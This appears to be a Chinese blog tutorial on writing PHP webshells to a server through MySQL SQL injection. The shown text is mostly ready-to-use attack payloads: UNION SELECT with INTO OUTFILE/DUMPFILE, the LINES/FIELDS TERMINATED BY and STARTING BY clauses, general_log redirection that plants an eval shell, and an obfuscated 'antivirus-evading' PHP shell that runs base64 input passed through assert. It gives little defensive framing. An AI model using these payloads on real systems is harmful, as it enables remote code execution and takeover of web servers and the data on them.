sql注入文件写入

sql注入中写入webshell的几种方式

  1. secure_file_priv="c:/…"被注释掉或者是web路径

  2. php.ini中的get_magic_quotes_gpc()函数未开启

    其中secure_file_priv有三种情况

    在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限

    1. 空,表示导入导出没有任何限制
    2. 有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件
    3. null,禁止导入导出

Union select后写入

  1. union select+into outfile
 

- ?id=1')) union select 1,2, "<?php @eval($_POST[a]);?>" into outfile "D:/Phpstudy/PHPTutorial/test1.php

Ps:目录分隔符要用斜杠(/)

  1. union select+into dumpfile

outfile与dumpfile有一定的区别
eg:假设有一个二进制文件,如果用outfile导入,则在导出过程中会被转义从而被破坏,这是只能使用dumpfile函数

Into dumpfile函数不会对任何列行进行终止,也不会执行转义处理

Lines terminated by

 

- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num.php' lines terminated by '<?php phpinfo() ?>'--+

注入原理:select 语句查询的内容写入文件,Lines terminated by语句拼接webshell。

可以理解为:以每行终止的位置添加xx内容

Lines starting by

 

- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num2.php' lines starting by '<?php phpinfo() ?>'--+

Lines starting by 以每行开始的位置添加xx内容

Fields terminated by

 

- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num3.php' fields terminated by '<?php phpinfo() ?>'--+

Fields terminated by 每个字段的间隔中插入xx内容

Columns terminated by

 

- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num4.php' columns terminated by '<?php phpinfo() ?>'--+

Columns terminated by 每个字段的位置添加xx内容

利用log写入

 

show variables like '%general%'; #查看配置 set global general_log = on; #开启general log模式 set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址 select '<?php eval($_GET[g]);?>' #写入shell set global general_log=off; #关闭general log模式


流程:

  1. 开启general log模式

  2. 修改log根地址

  3. 写入shell

开启general log模式后,只要是对mysql进行操作的语句都会在log中有记录,修改log根地址后,写入一句话shell就可以利用相对路径

 

sql查询免杀shell语句

SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值